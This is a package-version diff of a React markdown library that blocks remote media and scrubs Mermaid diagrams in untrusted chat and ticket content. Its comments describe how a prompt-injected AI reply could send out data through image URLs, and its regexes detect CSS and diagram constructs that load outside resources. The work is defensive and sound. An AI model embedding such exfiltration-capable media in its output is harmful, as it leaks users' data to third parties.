@flamingo-stack/openframe-frontend-core 0.0.809 → 0.0.811

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (132) hide show
  1. package/dist/{case-study-card-MEWJNF4N.cjs → case-study-card-AMINZROX.cjs} +5 -5
  2. package/dist/{chunk-FRS2VO22.cjs → chunk-243TS7YL.cjs} +38 -38
  3. package/dist/{chunk-GAHXURKJ.cjs → chunk-5QLDHPPU.cjs} +2 -2
  4. package/dist/{chunk-WDL3GFH2.cjs → chunk-66J7ZSI5.cjs} +34 -34
  5. package/dist/{chunk-VKAFZCFV.cjs → chunk-6GT3ZL27.cjs} +28 -28
  6. package/dist/{chunk-PRCGRDHV.cjs → chunk-7Y6M4FW4.cjs} +5 -5
  7. package/dist/{chunk-TOWVMBAP.cjs → chunk-ACCZCRXT.cjs} +14 -14
  8. package/dist/{chunk-VXAKQRV7.cjs → chunk-APOMNC7H.cjs} +5 -5
  9. package/dist/{chunk-KS5V55HN.cjs → chunk-CB77J5L7.cjs} +864 -670
  10. package/dist/{chunk-VHX4A4SA.cjs → chunk-CC3Q3MQG.cjs} +2 -2
  11. package/dist/{chunk-WV44WJKR.cjs → chunk-CJ7W2SY4.cjs} +8 -8
  12. package/dist/{chunk-DDFT6VQ3.cjs → chunk-CLU2KJFB.cjs} +3 -3
  13. package/dist/{chunk-OJZBZH56.cjs → chunk-CNTBGJA7.cjs} +3 -3
  14. package/dist/{chunk-Q3C6UJJ7.cjs → chunk-CPP2APON.cjs} +89 -89
  15. package/dist/{chunk-TT64NRFU.cjs → chunk-ERLMCSGF.cjs} +3 -3
  16. package/dist/{chunk-5UTJARDM.cjs → chunk-FK2WFU7R.cjs} +17 -17
  17. package/dist/{chunk-7PNRXJX2.cjs → chunk-FX35L4Y6.cjs} +3 -3
  18. package/dist/{chunk-5GJM7VRR.cjs → chunk-GI3MMBP3.cjs} +91 -26
  19. package/dist/{chunk-AZJYMTBS.cjs → chunk-GU3GJ5DH.cjs} +50 -50
  20. package/dist/{chunk-VUKN6KEE.cjs → chunk-IQLXO6EI.cjs} +97 -97
  21. package/dist/{chunk-BT53NHR7.cjs → chunk-J6C7F63P.cjs} +120 -120
  22. package/dist/{chunk-PIKHEBG5.cjs → chunk-JNWJB4Z5.cjs} +52 -52
  23. package/dist/{chunk-5MTYKS2Q.cjs → chunk-KVDUWXVZ.cjs} +4 -4
  24. package/dist/{chunk-V4FXUIMH.cjs → chunk-LC65AC6M.cjs} +4 -4
  25. package/dist/{chunk-RZNRKWG5.cjs → chunk-MDBOYMCW.cjs} +22 -22
  26. package/dist/{chunk-AQXKXZWB.cjs → chunk-MG3HJIGG.cjs} +4 -4
  27. package/dist/{chunk-KVJKKVB3.cjs → chunk-NZSWROGM.cjs} +7 -7
  28. package/dist/{chunk-OAJ3AL4V.cjs → chunk-O32RLIN4.cjs} +6 -6
  29. package/dist/{chunk-ZAXGW4KT.cjs → chunk-O4MEG2ZS.cjs} +21 -21
  30. package/dist/{chunk-4W77VLQV.cjs → chunk-OQDPZOGC.cjs} +6 -6
  31. package/dist/{chunk-LUICXMHC.cjs → chunk-PCVY63WQ.cjs} +17 -17
  32. package/dist/{chunk-ML3DG4SS.cjs → chunk-PMOMZSCX.cjs} +5 -5
  33. package/dist/{chunk-TUZV2ZQY.cjs → chunk-Q7QYAINS.cjs} +2 -2
  34. package/dist/{chunk-KHKPLOU4.cjs → chunk-QDB2JO55.cjs} +144 -36
  35. package/dist/{chunk-KCB72H7A.cjs → chunk-R55KNVPR.cjs} +71 -71
  36. package/dist/{chunk-NG3RKTQU.cjs → chunk-SFUNXMY3.cjs} +8 -8
  37. package/dist/{chunk-3B76QFXV.cjs → chunk-TKK66KHU.cjs} +6 -6
  38. package/dist/{chunk-TGOJHOQR.cjs → chunk-U2MHQBL4.cjs} +3 -3
  39. package/dist/{chunk-I3RJLXEL.cjs → chunk-UP3TLY2V.cjs} +131 -131
  40. package/dist/{chunk-KITOT3DS.cjs → chunk-VXMPVDOS.cjs} +26 -26
  41. package/dist/{chunk-UVLTUSH3.cjs → chunk-WX5WDSKV.cjs} +583 -582
  42. package/dist/{chunk-OFGYPMTE.cjs → chunk-XLEWM5X5.cjs} +53 -53
  43. package/dist/{chunk-SZHDXXMK.cjs → chunk-YSDB6HGQ.cjs} +3 -3
  44. package/dist/{chunk-JLKGLPDC.cjs → chunk-ZW25QUJK.cjs} +16 -16
  45. package/dist/{chunk-FLW2VL5W.cjs → chunk-ZZO3FGPM.cjs} +24 -24
  46. package/dist/{cloud-tenants-DJAA23GR.cjs → cloud-tenants-XGGQG7SO.cjs} +25 -25
  47. package/dist/components/case-studies/index.cjs +41 -41
  48. package/dist/components/chat/entity-cards/dispatch.d.ts.map +1 -1
  49. package/dist/components/chat/entity-cards/dispatch.js +4 -1
  50. package/dist/components/chat/hooks/use-jetstream-dialog-subscription.js +1 -1
  51. package/dist/components/chat/hooks/use-nats-dialog-subscription.js +1 -1
  52. package/dist/components/chat/index.cjs +19 -19
  53. package/dist/components/chat/types/api.types.d.ts +8 -4
  54. package/dist/components/chat/types/api.types.d.ts.map +1 -1
  55. package/dist/components/contact/index.cjs +26 -26
  56. package/dist/components/docs/index.cjs +29 -29
  57. package/dist/components/embeds/index.cjs +26 -26
  58. package/dist/components/faq/index.cjs +27 -27
  59. package/dist/components/features/index.cjs +25 -25
  60. package/dist/components/help-center-pages/index.cjs +130 -130
  61. package/dist/components/index.cjs +90 -90
  62. package/dist/components/meeting-scheduler/index.cjs +94 -94
  63. package/dist/components/navigation/index.cjs +28 -28
  64. package/dist/components/onboarding-guides/index.cjs +28 -28
  65. package/dist/components/product-demo/index.cjs +36 -36
  66. package/dist/components/related-content/index.cjs +14 -14
  67. package/dist/components/tickets/index.cjs +32 -32
  68. package/dist/components/ui/index.cjs +25 -25
  69. package/dist/components/ui/markdown/base-components.d.ts.map +1 -1
  70. package/dist/components/ui/markdown/base-components.js +6 -7
  71. package/dist/components/ui/markdown/engine.d.ts +7 -0
  72. package/dist/components/ui/markdown/engine.d.ts.map +1 -1
  73. package/dist/components/ui/markdown/engine.js +12 -3
  74. package/dist/components/ui/markdown/external-media-notice.d.ts +33 -0
  75. package/dist/components/ui/markdown/external-media-notice.d.ts.map +1 -0
  76. package/dist/components/ui/markdown/external-media-notice.js +56 -0
  77. package/dist/components/ui/markdown/mermaid-diagram.d.ts +24 -2
  78. package/dist/components/ui/markdown/mermaid-diagram.d.ts.map +1 -1
  79. package/dist/components/ui/markdown/mermaid-diagram.js +66 -6
  80. package/dist/components/ui/markdown/rich/rich-markdown-renderer.d.ts +4 -4
  81. package/dist/components/ui/markdown/rich/rich-markdown-renderer.d.ts.map +1 -1
  82. package/dist/components/ui/markdown/rich/rich-markdown-renderer.js +2 -1
  83. package/dist/components/ui/markdown/sanitize.d.ts +28 -3
  84. package/dist/components/ui/markdown/sanitize.d.ts.map +1 -1
  85. package/dist/components/ui/markdown/sanitize.js +84 -12
  86. package/dist/components/ui/markdown/simple-markdown-renderer.d.ts +3 -2
  87. package/dist/components/ui/markdown/simple-markdown-renderer.d.ts.map +1 -1
  88. package/dist/{devices-AIDQW4HB.cjs → devices-H5Y4DBVC.cjs} +26 -26
  89. package/dist/{embeddable-chat-XT6GMSBX.cjs → embeddable-chat-77ZOLCCK.cjs} +89 -89
  90. package/dist/hooks/index.cjs +11 -11
  91. package/dist/index.cjs +30 -30
  92. package/dist/{knowledge-JWCFM3GO.cjs → knowledge-MGH65HXM.cjs} +26 -26
  93. package/dist/{logs-ZNIXPJXA.cjs → logs-OL7ETVK6.cjs} +33 -33
  94. package/dist/nats/index.cjs +2 -2
  95. package/dist/nats/nats-provider.d.ts +9 -3
  96. package/dist/nats/nats-provider.d.ts.map +1 -1
  97. package/dist/nats/nats-provider.js +7 -3
  98. package/dist/nats/shared-connection.d.ts +44 -1
  99. package/dist/nats/shared-connection.d.ts.map +1 -1
  100. package/dist/nats/shared-connection.js +126 -22
  101. package/dist/{policies-Z4NGPLA2.cjs → policies-BCECWQ3F.cjs} +29 -29
  102. package/dist/{remote-session-LMUFV2RZ.cjs → remote-session-HML4UF7W.cjs} +11 -11
  103. package/dist/{scripts-G4Y5SPOW.cjs → scripts-XCD6V2JB.cjs} +32 -32
  104. package/dist/{software-update-VAOKDA76.cjs → software-update-U5ESXRG5.cjs} +29 -29
  105. package/dist/{tickets-board-QF5JNSH2.cjs → tickets-board-EICQ5VLE.cjs} +14 -14
  106. package/dist/utils/app-origins.d.ts +41 -0
  107. package/dist/utils/app-origins.d.ts.map +1 -0
  108. package/dist/utils/app-origins.js +51 -0
  109. package/dist/utils/embed-auth-adapter-registry.d.ts +7 -0
  110. package/dist/utils/embed-auth-adapter-registry.d.ts.map +1 -0
  111. package/dist/utils/embed-auth-adapter-registry.js +34 -0
  112. package/dist/utils/embed-authed-fetch.d.ts.map +1 -1
  113. package/dist/utils/embed-authed-fetch.js +6 -19
  114. package/dist/utils/index.cjs +28 -12
  115. package/dist/{video-file-player-2FMFCGXE.cjs → video-file-player-4QMVTOBE.cjs} +3 -3
  116. package/package.json +1 -1
  117. package/src/components/chat/entity-cards/dispatch.tsx +12 -1
  118. package/src/components/chat/hooks/use-jetstream-dialog-subscription.ts +1 -1
  119. package/src/components/chat/hooks/use-nats-dialog-subscription.ts +1 -1
  120. package/src/components/chat/types/api.types.ts +8 -4
  121. package/src/components/ui/markdown/base-components.tsx +6 -7
  122. package/src/components/ui/markdown/engine.tsx +29 -5
  123. package/src/components/ui/markdown/external-media-notice.tsx +84 -0
  124. package/src/components/ui/markdown/mermaid-diagram.tsx +107 -5
  125. package/src/components/ui/markdown/rich/rich-markdown-renderer.tsx +11 -5
  126. package/src/components/ui/markdown/sanitize.ts +162 -15
  127. package/src/components/ui/markdown/simple-markdown-renderer.tsx +6 -2
  128. package/src/nats/nats-provider.tsx +15 -4
  129. package/src/nats/shared-connection.ts +199 -25
  130. package/src/utils/app-origins.ts +95 -0
  131. package/src/utils/embed-auth-adapter-registry.ts +49 -0
  132. package/src/utils/embed-authed-fetch.ts +7 -35
@@ -33,10 +33,12 @@ import remarkBreaks from 'remark-breaks';
33
33
  import remarkGfm from 'remark-gfm';
34
34
  import type { PluggableList } from 'unified';
35
35
  import type { ResolveLinkResult } from '../../../types/doc-source';
36
+ import { readAppOrigins, SERVER_APP_ORIGINS, subscribeAppOrigins } from '../../../utils/app-origins';
36
37
  import { cn } from '../../../utils/cn';
37
38
  import { TextLineSkeleton } from '../../loading/unified-skeleton';
38
39
  import { LoadingItems, useLoadingScope } from '../loading-scope';
39
40
  import { buildBaseComponents, MARKDOWN_H1_CLASS, MARKDOWN_H2_CLASS, MARKDOWN_PARAGRAPH_CLASS } from './base-components';
41
+ import { MarkdownMediaOriginsContext } from './external-media-notice';
40
42
  import { HeadingIdMapContext, HeadingLineOffsetContext, useHeadingIdMap, type HeadingSection } from './heading-ids';
41
43
  import {
42
44
  buildEffectiveTagSet,
@@ -171,6 +173,13 @@ export interface MarkdownEngineProps {
171
173
  * coupled-allowlist invariant — see ./sanitize.ts).
172
174
  */
173
175
  extraAllowedHtmlTags?: string[];
176
+ /**
177
+ * Let images and other media load from any origin. Off (the default), they
178
+ * load only from the app itself: the content is treated as untrusted, and a
179
+ * third-party image URL leaks whatever it carries the moment it renders. See
180
+ * `RehypeStripUnsafeOptions` in ./sanitize.ts.
181
+ */
182
+ allowRemoteMedia?: boolean;
174
183
  /**
175
184
  * Set true for the actively streaming message ONLY. Enables atomic-block
176
185
  * memoization + fence tail-completion + an aria-live wrapper. The caller
@@ -260,6 +269,7 @@ const MarkdownEngineImpl: React.FC<MarkdownEngineProps> = ({
260
269
  additionalRemarkPlugins,
261
270
  textSize,
262
271
  extraAllowedHtmlTags,
272
+ allowRemoteMedia = false,
263
273
  streaming = false,
264
274
  }) => {
265
275
  const textSizes = useMemo(() => resolveTextSizeConfig(textSize), [textSize]);
@@ -308,6 +318,10 @@ const MarkdownEngineImpl: React.FC<MarkdownEngineProps> = ({
308
318
  [additionalRemarkPlugins],
309
319
  );
310
320
 
321
+ // What "from the app" means for media: the server's answer while hydrating (only relative URLs), the page's own and
322
+ // the host's sanctioned origins after that, and again whenever a host registers its auth adapter later.
323
+ const appOrigins = useSyncExternalStore(subscribeAppOrigins, readAppOrigins, () => SERVER_APP_ORIGINS);
324
+
311
325
  const rehypeHighlight = useHighlightPlugin(processedContent);
312
326
  const { rehypePlugins, liveRehypePlugins } = useMemo(() => {
313
327
  const schema = buildSanitizeSchema({
@@ -315,9 +329,15 @@ const MarkdownEngineImpl: React.FC<MarkdownEngineProps> = ({
315
329
  });
316
330
  // ORDER MATTERS: rehype-raw parses embedded raw HTML into HAST;
317
331
  // rehypeSanitize is the allow-list boundary; rehypeStripUnsafe is
318
- // defense-in-depth (srcset scanning, iframe[srcdoc]); the fence label
319
- // goes on after sanitizing and before highlight, which runs last.
320
- const safe: PluggableList = [rehypeRaw, [rehypeSanitize, schema], rehypeStripUnsafe, rehypeLabelBareFences];
332
+ // defense-in-depth (srcset scanning, iframe[srcdoc]) and drops media from
333
+ // outside the app; the fence label goes on after sanitizing and before
334
+ // highlight, which runs last.
335
+ const safe: PluggableList = [
336
+ rehypeRaw,
337
+ [rehypeSanitize, schema],
338
+ [rehypeStripUnsafe, { allowRemoteMedia, appOrigins }],
339
+ rehypeLabelBareFences,
340
+ ];
321
341
  // No language detection: it ran highlightAuto over every registered
322
342
  // grammar for each unlabelled fence (~2.5x the cost of opening a
323
343
  // thread) and often guessed wrong (PowerShell shown as "VBNET").
@@ -333,7 +353,7 @@ const MarkdownEngineImpl: React.FC<MarkdownEngineProps> = ({
333
353
  // `rehypePlugins`.
334
354
  liveRehypePlugins: safe,
335
355
  };
336
- }, [extraTagsKey, rehypeHighlight]);
356
+ }, [extraTagsKey, allowRemoteMedia, appOrigins, rehypeHighlight]);
337
357
 
338
358
  const components: Components = useMemo(
339
359
  () => ({
@@ -408,7 +428,11 @@ const MarkdownEngineImpl: React.FC<MarkdownEngineProps> = ({
408
428
  override the cascade with the weaker `break-word` for this subtree. */}
409
429
  <div className={CONTENT_WRAPPER_CLASS}>
410
430
  <article className={ARTICLE_CLASS}>
411
- <HeadingIdMapContext.Provider value={headingIds}>{body}</HeadingIdMapContext.Provider>
431
+ <HeadingIdMapContext.Provider value={headingIds}>
432
+ <MarkdownMediaOriginsContext.Provider value={allowRemoteMedia ? null : appOrigins}>
433
+ {body}
434
+ </MarkdownMediaOriginsContext.Provider>
435
+ </HeadingIdMapContext.Provider>
412
436
  </article>
413
437
  </div>
414
438
  </div>
@@ -0,0 +1,84 @@
1
+ 'use client';
2
+
3
+ import type React from 'react';
4
+ import { createContext } from 'react';
5
+ import type { AppOrigins } from '../../../utils/app-origins';
6
+ import { ClapperboardPlayIcon } from '../../icons-v2-generated/audio-and-visual/clapperboard-play-icon';
7
+ import { ImageOffIcon } from '../../icons-v2-generated/audio-and-visual/image-off-icon';
8
+
9
+ /**
10
+ * The origins the markdown around a component may load media from, for the renderers that load media outside the
11
+ * rehype pipeline (a mermaid diagram fetches its image shapes itself, while it renders). The engine provides the
12
+ * snapshot its sanitizer decided against, or `null` under `allowRemoteMedia`. Unset without an engine above it:
13
+ * the reader then decides against the app's origins now.
14
+ */
15
+ export const MarkdownMediaOriginsContext = createContext<AppOrigins | null | undefined>(undefined);
16
+
17
+ /** The host a media URL is loaded from, or `null` for anything that is not http(s). */
18
+ export function externalMediaHost(url: string): string | null {
19
+ try {
20
+ const parsed = new URL(url);
21
+ return parsed.protocol === 'http:' || parsed.protocol === 'https:' ? parsed.host : null;
22
+ } catch {
23
+ return null;
24
+ }
25
+ }
26
+
27
+ export interface ExternalMediaNoticeProps {
28
+ /**
29
+ * The absolute http(s) URL the media would have loaded from. A diagram may name none plainly (its source can spell
30
+ * a URL with escapes): the notice then says it loads from other sites, without naming one.
31
+ */
32
+ url: string | null;
33
+ kind: 'image' | 'video' | 'diagram';
34
+ /** What the media is (an image's alt text, a video's title). */
35
+ label?: string | null;
36
+ }
37
+
38
+ const COPY = {
39
+ image: { noun: 'Image', reason: 'Images from other sites are blocked for your privacy.', Icon: ImageOffIcon },
40
+ video: { noun: 'Video', reason: 'Videos from other sites are blocked for your privacy.', Icon: ClapperboardPlayIcon },
41
+ diagram: {
42
+ noun: 'Diagram',
43
+ reason: 'This diagram loads images from other sites, which are blocked for your privacy.',
44
+ Icon: ImageOffIcon,
45
+ },
46
+ } as const;
47
+
48
+ /**
49
+ * What stands where media from outside the app would have been, on content the app does not trust (chat replies,
50
+ * tickets, knowledge-base articles). Loading a URL tells its host that the reader opened the message, along with
51
+ * anything the URL carries, so a prompt-injected reply could send data out the moment it renders. The media is not
52
+ * loaded at all, as GitHub Copilot Chat does with images from untrusted domains: no "load anyway", whose label would
53
+ * be written by the same content. The notice keeps the media's place and says what it was and where it came from, so
54
+ * the reader is not left with a gap.
55
+ *
56
+ * Spans only: a markdown image sits inside a `<p>`. `whitespace-normal`: a mermaid diagram sits inside a `<pre>`.
57
+ */
58
+ export function ExternalMediaNotice({ url, kind, label }: ExternalMediaNoticeProps): React.ReactElement | null {
59
+ const host = url ? externalMediaHost(url) : null;
60
+ // Media needs a host to name; a diagram can do without (it says "other sites").
61
+ if (!host && kind !== 'diagram') return null;
62
+
63
+ const { noun, reason, Icon } = COPY[kind];
64
+ const title = label?.trim() || noun;
65
+ return (
66
+ <span
67
+ className="my-[var(--spacing-system-xsf)] inline-flex max-w-full items-start gap-[var(--spacing-system-xsf)] whitespace-normal rounded-lg border border-ods-border bg-ods-card p-[var(--spacing-system-sf)] align-middle"
68
+ data-external-media={kind}
69
+ >
70
+ <Icon size={20} className="shrink-0 text-ods-text-secondary" aria-hidden />
71
+ <span className="flex min-w-0 flex-col">
72
+ <span className="truncate text-ods-text-primary text-h6">{title}</span>
73
+ <span className="text-ods-text-secondary text-h6" title={url ?? undefined}>
74
+ {host ? (
75
+ <>
76
+ From <span className="break-words">{host}</span>.{' '}
77
+ </>
78
+ ) : null}
79
+ {reason}
80
+ </span>
81
+ </span>
82
+ </span>
83
+ );
84
+ }
@@ -11,12 +11,14 @@
11
11
  import { Maximize2, ZoomIn, ZoomOut } from 'lucide-react';
12
12
  import type { MermaidConfig } from 'mermaid';
13
13
  import type React from 'react';
14
- import { useCallback, useEffect, useLayoutEffect, useMemo, useRef, useState } from 'react';
14
+ import { useCallback, useContext, useEffect, useLayoutEffect, useMemo, useRef, useState } from 'react';
15
15
  import { useIsHydrated } from '../../../hooks/ui/use-is-hydrated';
16
+ import { absoluteHttpUrl, isAppOriginUrl, readAppOrigins, type AppOrigins } from '../../../utils/app-origins';
16
17
  import { AlertCircleIcon } from '../../icons-v2-generated';
17
18
  import { UnifiedSkeleton } from '../../loading/unified-skeleton';
18
19
  import { Button } from '../button';
19
20
  import { useLoadingScope } from '../loading-scope';
21
+ import { ExternalMediaNotice, MarkdownMediaOriginsContext } from './external-media-notice';
20
22
 
21
23
  /**
22
24
  * SECURITY SSOT for the mermaid renderer — the ONLY place these knobs are
@@ -194,10 +196,13 @@ const FRAME_CLASS: Record<MermaidFrame, string> = {
194
196
  fold: 'h-[70svh] min-h-[320px]',
195
197
  };
196
198
 
197
- export const MermaidDiagram: React.FC<{ chart: string; zoomable?: boolean; frame?: MermaidFrame }> = ({
199
+ type MermaidDiagramProps = { chart: string; zoomable?: boolean; frame?: MermaidFrame };
200
+
201
+ const MermaidDiagramView: React.FC<MermaidDiagramProps & { untrusted: boolean }> = ({
198
202
  chart: givenChart,
199
203
  zoomable = true,
200
204
  frame = 'content',
205
+ untrusted,
201
206
  }) => {
202
207
  // In a loading scope the diagram is not drawn: its frame shows the skeleton an empty chart shows.
203
208
  const chart = useLoadingScope() ? '' : givenChart;
@@ -399,11 +404,11 @@ export const MermaidDiagram: React.FC<{ chart: string; zoomable?: boolean; frame
399
404
  });
400
405
 
401
406
  const { svg: renderedSvg } = await withRenderTimeout(
402
- mermaid.render(renderId, chart),
407
+ mermaid.render(renderId, untrusted ? withoutMermaidConfig(chart) : chart),
403
408
  MERMAID_RENDER_TIMEOUT_MS,
404
409
  );
405
410
  if (cancelled) return;
406
- setSvg(renderedSvg);
411
+ setSvg(untrusted ? scrubMermaidSvg(renderedSvg) : renderedSvg);
407
412
  // A new diagram starts at 100%, top-left — zoom is per diagram, not per host.
408
413
  pendingAnchor.current = null;
409
414
  setZoom(1);
@@ -437,7 +442,7 @@ export const MermaidDiagram: React.FC<{ chart: string; zoomable?: boolean; frame
437
442
  document.getElementById(`d${renderId}`)?.remove();
438
443
  document.getElementById(renderId)?.remove();
439
444
  };
440
- }, [chart, empty, mounted]);
445
+ }, [chart, empty, mounted, untrusted]);
441
446
 
442
447
  // `safe center` on both axes: a zoomed diagram larger than the frame scrolls
443
448
  // from its top-left corner instead of losing those edges to flex centering.
@@ -558,3 +563,100 @@ export const MermaidDiagram: React.FC<{ chart: string; zoomable?: boolean; frame
558
563
  </div>
559
564
  );
560
565
  };
566
+
567
+ /**
568
+ * What, in untrusted diagram source, makes mermaid load something from the network while it renders. It renders into
569
+ * the live document to measure the layout, so neither `securityLevel` nor a scrub of the SVG it returns can stop
570
+ * these requests; the diagram is not drawn at all. Each is a token mermaid's own lexer matches
571
+ * literally, so an escape inside a value cannot hide it:
572
+ * - `@{`: shape data, which can name an `img` (flowchart, kanban) that mermaid fetches with `new Image()`.
573
+ * The data is YAML, so the key and the URL can both be spelled with escapes: the block itself is the signal.
574
+ * - a `properties` or `details` statement: a sequence participant's icon, drawn as `<image href>`. `details` reads
575
+ * the JSON from any element of the PAGE by id, and markdown can put an element with an id there.
576
+ * - a CSS function that loads a resource, or a backslash, in a `style` / `classDef` / `linkStyle` value.
577
+ * Over-matching costs a diagram that would have been safe to draw.
578
+ */
579
+ const MERMAID_REMOTE_LOAD_RE =
580
+ /@\{|(?:^|[\n;])[ \t]*(?:properties|details)\b|url\s*\(|image(?:-set)?\s*\(|\bsrc\s*\(|@import|^[ \t]*(?:style|classDef|linkStyle)\b[^\n]*\\/im;
581
+
582
+ /** Front matter (`---` … `---` at the top) and `%%{…}%%` directives: diagram config, which can carry CSS. */
583
+ const MERMAID_FRONT_MATTER_RE = /^\s*---[ \t]*\r?\n[\s\S]*?\r?\n---[ \t]*(?:\r?\n|$)/;
584
+ const MERMAID_DIRECTIVE_RE = /%%\{[\s\S]*?(?:\}%%|$)/g;
585
+
586
+ /**
587
+ * Untrusted source without its config. `secure` locks the keys that turn the security off, but values such as
588
+ * `fontFamily` or `themeVariables` land in the SVG's `<style>` with only their braces balanced: a `url(…)` request,
589
+ * or `position:fixed` on the diagram itself, i.e. a full-page overlay. A reply has no reason to theme a diagram.
590
+ */
591
+ function withoutMermaidConfig(chart: string): string {
592
+ return chart.replace(MERMAID_FRONT_MATTER_RE, '').replace(MERMAID_DIRECTIVE_RE, '');
593
+ }
594
+
595
+ /** A CSS declaration that loads a resource (see `CSS_RESOURCE_RE` in ./sanitize.ts), with its property. */
596
+ const SVG_CSS_RESOURCE_DECL_RE = /[^;{}]*(?:url\s*\((?!\s*['"]?\s*#)|image(?:-set)?\s*\(|\bsrc\s*\(|\\)[^;{}]*;?/gi;
597
+
598
+ /** SVG presentation attributes whose value is CSS that can name another document. */
599
+ const CSS_URL_ATTRIBUTES = new Set([
600
+ 'fill',
601
+ 'stroke',
602
+ 'marker-start',
603
+ 'marker-mid',
604
+ 'marker-end',
605
+ 'clip-path',
606
+ 'mask',
607
+ 'filter',
608
+ ]);
609
+
610
+ /**
611
+ * The rendered SVG of an untrusted diagram, scrubbed before it goes into the page: no `<image>`, no reference to
612
+ * another document except a link's, no CSS that loads a resource. What reaches here passed `MERMAID_REMOTE_LOAD_RE`,
613
+ * so this is the second line, for whatever mermaid can still emit that the first one did not foresee. An SVG that
614
+ * does not parse is not drawn.
615
+ */
616
+ function scrubMermaidSvg(svg: string): string {
617
+ if (typeof DOMParser === 'undefined') return '';
618
+ const doc = new DOMParser().parseFromString(svg, 'image/svg+xml');
619
+ if (doc.getElementsByTagName('parsererror').length) return '';
620
+ for (const el of Array.from(doc.querySelectorAll('image, feImage'))) el.remove();
621
+ for (const el of Array.from(doc.querySelectorAll('*'))) {
622
+ for (const attr of Array.from(el.attributes)) {
623
+ const name = attr.name.toLowerCase();
624
+ if ((name === 'href' || name === 'xlink:href') && el.localName !== 'a' && !attr.value.trim().startsWith('#')) {
625
+ el.removeAttribute(attr.name);
626
+ } else if (name === 'style' || CSS_URL_ATTRIBUTES.has(name)) {
627
+ const cleaned = attr.value.replace(SVG_CSS_RESOURCE_DECL_RE, '');
628
+ if (cleaned !== attr.value) el.setAttribute(attr.name, cleaned);
629
+ }
630
+ }
631
+ }
632
+ for (const style of Array.from(doc.querySelectorAll('style'))) {
633
+ style.textContent = (style.textContent ?? '').replace(/@import[^;]*;?/gi, '').replace(SVG_CSS_RESOURCE_DECL_RE, '');
634
+ }
635
+ return new XMLSerializer().serializeToString(doc.documentElement);
636
+ }
637
+
638
+ /** The host a diagram's source names first, for its notice; `null` when it names none plainly. */
639
+ function firstMermaidUrl(chart: string, origins: AppOrigins): string | null {
640
+ for (const [candidate] of chart.matchAll(/(?:https?:)?\/\/[^\s"'`)<>\\]+/gi)) {
641
+ if (!isAppOriginUrl(candidate, origins)) return absoluteHttpUrl(candidate, origins);
642
+ }
643
+ return null;
644
+ }
645
+
646
+ /**
647
+ * On untrusted content (no `allowRemoteMedia` above) a diagram that can load from the network while it renders is not
648
+ * drawn: a notice stands in its place, like a markdown image (`ExternalMediaNotice`). Every other diagram renders
649
+ * without its config and with its SVG scrubbed: the source is model output on the chat path.
650
+ */
651
+ export const MermaidDiagram: React.FC<MermaidDiagramProps> = props => {
652
+ const media = useContext(MarkdownMediaOriginsContext);
653
+ const origins = media === undefined ? readAppOrigins() : media;
654
+ if (origins === null) return <MermaidDiagramView {...props} untrusted={false} />;
655
+ if (MERMAID_REMOTE_LOAD_RE.test(withoutMermaidConfig(props.chart))) {
656
+ return <ExternalMediaNotice url={firstMermaidUrl(props.chart, origins)} kind="diagram" />;
657
+ }
658
+ return <MermaidDiagramView {...props} untrusted />;
659
+ };
660
+
661
+ export const __withoutMermaidConfigForTest = withoutMermaidConfig;
662
+ export const __scrubMermaidSvgForTest = scrubMermaidSvg;
@@ -10,8 +10,8 @@
10
10
  * every hub/app call site compiles untouched. Deltas vs the old
11
11
  * implementation are the ones reviewed in the unification plan: the
12
12
  * sanitize stack + tag-escape pre-pass now apply to content surfaces
13
- * (`extraAllowedHtmlTags={['video','source']}` keeps authored video
14
- * working), the engine is memoized, and the dead light-mode branches are
13
+ * (`RICH_EXTRA_TAGS` and `allowRemoteMedia` keep authored video, embeds and
14
+ * CDN images working), the engine is memoized, and the dead light-mode branches are
15
15
  * gone.
16
16
  */
17
17
  import type React from 'react';
@@ -27,8 +27,12 @@ import { resolveTextSizeConfig } from '../text-size';
27
27
  import { buildRichEmbedOverrides } from './embed-overrides';
28
28
  import { processShortcodes } from './shortcodes';
29
29
 
30
- /** Raw-HTML tags authored content needs beyond the chat-safe baseline. */
31
- const RICH_EXTRA_TAGS = ['video', 'source'];
30
+ /**
31
+ * Raw-HTML tags authored content needs beyond the chat-safe baseline. Authored
32
+ * content is also the one surface that loads media from anywhere
33
+ * (`allowRemoteMedia`): posts carry CDN images and pasted embeds.
34
+ */
35
+ const RICH_EXTRA_TAGS = ['video', 'source', 'iframe'];
32
36
 
33
37
  /**
34
38
  * `/api/docs/resolve-link` is an untrusted wire boundary: `Response.json()`
@@ -58,11 +62,12 @@ const toResolveLinkResult = (body: unknown): ResolveLinkResult => {
58
62
  /**
59
63
  * The engine props this composition OWNS and therefore does not forward:
60
64
  * shortcode preprocessing, the embed component map, the `article` text
61
- * preset, the fetch link resolver, the rich tag allowlist, and streaming
65
+ * preset, the fetch link resolver, the rich tag allowlist, remote media, and streaming
62
66
  * (authored content is never streamed).
63
67
  */
64
68
  type RichOwnedEngineProps =
65
69
  | 'extraAllowedHtmlTags'
70
+ | 'allowRemoteMedia'
66
71
  | 'preprocessContent'
67
72
  | 'componentOverrides'
68
73
  | 'textSize'
@@ -150,6 +155,7 @@ const RichMarkdownInner: React.FC<InnerProps> = ({
150
155
  componentOverrides={componentOverrides}
151
156
  textSize="article"
152
157
  extraAllowedHtmlTags={RICH_EXTRA_TAGS}
158
+ allowRemoteMedia
153
159
  skeletonSections={skeletonSections}
154
160
  skeletonLines={skeletonLines}
155
161
  />
@@ -37,6 +37,7 @@
37
37
  import type { Element, ElementContent, Properties, Root, RootContent } from 'hast';
38
38
  import { defaultUrlTransform } from 'react-markdown';
39
39
  import { defaultSchema } from 'rehype-sanitize';
40
+ import { absoluteHttpUrl, isAppOriginUrl, readAppOrigins, type AppOrigins } from '../../../utils/app-origins';
40
41
  import { createFenceTracker, isBlankLine } from '../../../utils/markdown-fences';
41
42
 
42
43
  // ---------------------------------------------------------------------------
@@ -49,8 +50,12 @@ import { createFenceTracker, isBlankLine } from '../../../utils/markdown-fences'
49
50
  *
50
51
  * `video` is deliberately NOT in the baseline: chat strips <video>
51
52
  * server-side and playback goes through the <Video> SSOT. The rich
52
- * composition opts back in via `extraAllowedHtmlTags={['video', 'source']}`
53
+ * composition opts back in via `extraAllowedHtmlTags`
53
54
  * so authored content (blog publisher video injection) keeps working.
55
+ *
56
+ * `iframe` is not in the baseline either: on the chat surface it put a
57
+ * third-party document inside the app, a ready-made phishing page. The rich
58
+ * composition opts back in the same way, for embeds pasted into posts.
54
59
  */
55
60
  export const SAFE_HTML_TAGS = new Set([
56
61
  // Block + inline text
